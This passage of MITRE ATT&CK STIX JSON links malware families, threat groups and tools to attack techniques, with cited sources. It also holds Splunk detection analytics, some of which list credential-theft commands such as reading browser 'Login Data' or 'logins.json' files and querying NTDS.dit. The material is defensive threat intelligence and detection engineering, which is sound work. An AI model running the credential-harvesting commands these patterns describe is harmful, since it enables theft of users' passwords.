processes of dfsvc.exe that may be indicative of malicious ClickOnce applications.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--cc279e50-df85-4c8e-be80-6dc2eda8849c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0481e814-434a-4736-80f3-f8bbcad3faf2","type":"relationship","created":"2021-05-10T23:19:38.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mcafee Clop Aug 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/","description":"Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."},{"source_name":"Cybereason Clop Dec 2020","url":"https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware","description":"Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}],"modified":"2021-07-30T21:03:09.052Z","description":"[Clop](https://attack.mitre.org/software/S0611) can search for processes with antivirus and antimalware product names.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0485006f-c4f6-4657-85a0-6beec8d9368a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","source_name":"Talos Cobalt Group July 2018"},{"source_name":"Security Intelligence More Eggs Aug 2019","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}],"modified":"2019-09-16T19:41:10.195Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) can download and launch additional payloads.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--04878c23-0ba8-4893-acd7-f0594241b66f","type":"relationship","created":"2019-03-11T17:18:27.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.602Z","description":"[Empire](https://attack.mitre.org/software/S0363) can utilize Invoke-DCOM to leverage remote COM execution for lateral movement.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--048d55fb-9a37-41a8-9bc6-15c507bf2af2","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T16:37:44.301Z","description":"Monitor for files created on a system after a user clicks on a malicious link. Look for common download paths and suspicious files with executable extensions.\n\nAnalytic 1 - Files downloaded from links and then executed.\n\n sourcetype=Sysmon EventCode=11\n| search file_path IN (\"*/Downloads/*\", \"*/Temp/*\")\n| stats count by file_name file_path user\n| where file_name LIKE \"%.exe\" OR file_name LIKE \"%.zip\" OR file_name LIKE \"%.js\" OR file_name LIKE \"%.docm\"","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--048df7c4-96b0-4b76-9e21-f9ad70a2ce9b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"}],"modified":"2020-03-20T15:51:51.891Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can use DCOM (targeting the 127.0.0.1 loopback address) to execute additional payloads on compromised hosts.(Citation: FireEye MuddyWater Mar 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--04919717-aa68-4192-b095-c1607f8f6ead","type":"relationship","created":"2021-03-19T13:34:56.478Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","source_name":"Security Intelligence More Eggs Aug 2019"}],"modified":"2021-03-19T17:16:25.206Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) has used HTTP GET requests to check internet connectivity.(Citation: Security Intelligence More Eggs Aug 2019)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0493bf17-29a1-4825-b1a2-6e037288637f","created":"2020-11-16T20:29:26.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Lucifer June 2020","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020.","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:42.927Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can use system resources to mine cryptocurrency, dropping XMRig to mine Monero.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--049ce77e-19b0-4641-8e49-8504ab47921e","type":"relationship","created":"2020-01-24T19:00:33.125Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T19:00:33.125Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--049d2b7e-fb1e-4bf3-bf2f-97197e40bda2","type":"relationship","created":"2020-12-28T22:10:21.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-28T22:10:21.555Z","description":"(Citation: Cybereason Molerats Dec 2020) ","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"malware--8a59f456-79a0-4151-9f56-9b1a67332af2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--049e2b29-7554-4f2d-bba3-caaa98aa29b6","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for changed made to .manifest/.local redirection files, or file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--049eebb5-0686-4891-9cf7-cbf906cacdd8","created":"2023-06-12T20:13:03.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-02T19:10:10.476Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) has used a combination of a Diffie-Hellman key exchange mixed with a pre-shared key (PSK) to encrypt its top layer of C2 communications.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04a39f08-17e1-46e8-aba0-db4ef1318ba1","created":"2023-03-28T20:27:00.832Z","revoked":false,"external_references":[{"source_name":"US-CERT HOPLIGHT Apr 2019","description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T20:27:00.832Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) can enumerate device drivers located in the registry at `HKLM\\Software\\WBEM\\WDM`.(Citation: US-CERT HOPLIGHT Apr 2019)","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04a55a4d-7888-4e52-8d6f-6befbc82f6f2","created":"2023-10-04T14:31:53.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T08:14:10.701Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can copy a large byte array of 64-bit shellcode into process memory and execute it with a call to `CreateThread`.(Citation: Gigamon BADHATCH Jul 2019)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--04a6eba6-71d7-47d1-91f1-c728ada6b7b5","type":"relationship","created":"2020-11-23T17:46:57.365Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-11-23T17:46:57.365Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers passwords from the Windows Credential Vault.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04ba0d26-d931-423e-a3de-713892c0af97","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dell P2P ZeuS","description":"SecureWorks. (2012). The Lifecycle of Peer-to-Peer (Gameover) ZeuS. Retrieved August 19, 2015.","url":"https://www.secureworks.com/research/The-Lifecycle-of-Peer-to-Peer-Gameover-ZeuS"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-24T19:08:50.639Z","description":"[P2P ZeuS](https://attack.mitre.org/software/S0016) added junk data to outgoing UDP packets to peer implants.(Citation: Dell P2P ZeuS)","relationship_type":"uses","source_ref":"malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04c0ec78-0bff-4d9e-8843-00589d0584ad","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T17:45:39.205Z","description":"Monitor for unexpected windows registry key being accessed that may search compromised systems to find and obtain insecurely stored credentials.\n\nAnalytic 1 - Unauthorized access to registry keys associated with credentials.\n\n index=security sourcetype=\"WinEventLog:Microsoft-Windows-Security-Auditing\" EventCode=4663 ObjectType=\"Registry\" (ObjectName=\"*password*\" OR ObjectName=\"*credential*\") | eval AccessAttempt=case(\n AccessMask=\"0x1\", \"Read\",\n AccessMask=\"0x2\", \"Write\",\n AccessMask=\"0x3\", \"Read/Write\",\n AccessMask=\"0x4\", \"Delete\",\n true(), \"Unknown\"\n)","relationship_type":"detects","source_ref":"x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04c3e14a-e502-40b2-a097-e47b76a89d28","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Olympic Destroyer 2018","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T14:09:08.026Z","description":"Monitor executed commands and arguments that may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018)\n\nAnalytic 1 - Commands indicating credential searches in web browsers.\n\n index=security sourcetype IN (\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"linux_secure\", \"macos_secure\") event_type=\"process\"\n(CommandLine IN (\"*sqlite3* *logins*\", \"*CryptUnprotectData*\", \"*security find-internet-password*\", \"*sqlcipher* *logins*\", \"*strings* *Login Data*\", \"*cat* *Login Data*\", \"*cat* *logins.json*\", \"*sqlite3* *signons.sqlite*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--04d1a31c-97c2-4cdd-8fb7-391c984e2fad","type":"relationship","created":"2020-05-15T13:17:57.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T13:17:57.692Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) used Bash Bunny, Raspberry Pi, netbooks or inexpensive laptops to connect to the company’s local network.(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04d60222-e8da-4de5-bc58-dcfae65986f5","created":"2019-04-17T13:46:38.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:49.409Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) collects the timestamp from the infected machine. (Citation: Cofense Astaroth Sept 2018)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--04e2c418-8f6c-453c-8e17-4d3aeec0f755","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-29T23:42:20.326Z","description":"[SPACESHIP](https://attack.mitre.org/software/S0035) copies staged data to removable drives when they are inserted into the system.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--8b880b41-5139-4807-baa9-309690218719","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--04e4f0d1-32a9-4d64-a733-3316b0bf2740","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"modified":"2020-11-23T17:03:38.566Z","description":"A module in [CozyCar](https://attack.mitre.org/software/S0046) allows arbitrary commands to be executed by invoking C:\\Windows\\System32\\cmd.exe.(Citation: F-Secure CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04e866d0-5d9d-435d-b37c-311bb0bbdb1e","created":"2023-07-05T18:54:59.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-07T19:01:04.557Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) exploited CVE-2021-35464 in the ForgeRock Open Access Management (OpenAM) application server to gain initial access.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04ec1e09-f29e-44f7-bcb1-820b01af2155","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AdSecurity DCSync Sept 2015","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.","url":"https://adsecurity.org/?p=1729"},{"source_name":"Microsoft DRSR Dec 2017","description":"Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.","url":"https://msdn.microsoft.com/library/cc228086.aspx"},{"source_name":"Microsoft NRPC Dec 2017","description":"Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.","url":"https://msdn.microsoft.com/library/cc237008.aspx"},{"source_name":"Microsoft SAMR","description":"Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.","url":"https://msdn.microsoft.com/library/cc245496.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T15:52:03.623Z","description":"Monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\nAnalytic 1 - Anomalous network traffic content related to credential managers \n\nindex=network sourcetype=\"stream:tcp\" dest_port=389 NOT [| inputlookup known_dc_ip_addresses | fields ip]\n| eval SourceIP = src_ip, DestinationIP = dest_ip, Protocol = proto\n| search (content=\"LDAPSearchRequest\") OR (content=\"LDAPModifyRequest\") OR (content=\"bindRequest\") OR (content=\"searchResEntry\") OR (content=\"NTDS.dit\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--04ecc705-0027-4dda-85fe-d6ce028ef05e","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}],"modified":"2020-01-10T15:12:52.340Z","description":"[SEASHARPEE](https://attack.mitre.org/software/S0185) can download remote files onto victims.(Citation: FireEye APT34 Webinar Dec 2017)","relationship_type":"uses","source_ref":"malware--0998045d-f96e-4284-95ce-3c8219707486","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--04f0ecb5-4647-4f96-9439-7e2255da11c8","created":"2022-06-09T18:32:39.814Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OutSteel](https://attack.mitre.org/software/S1017) has used `cmd.exe` to scan a compromised host for specific file extensions.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 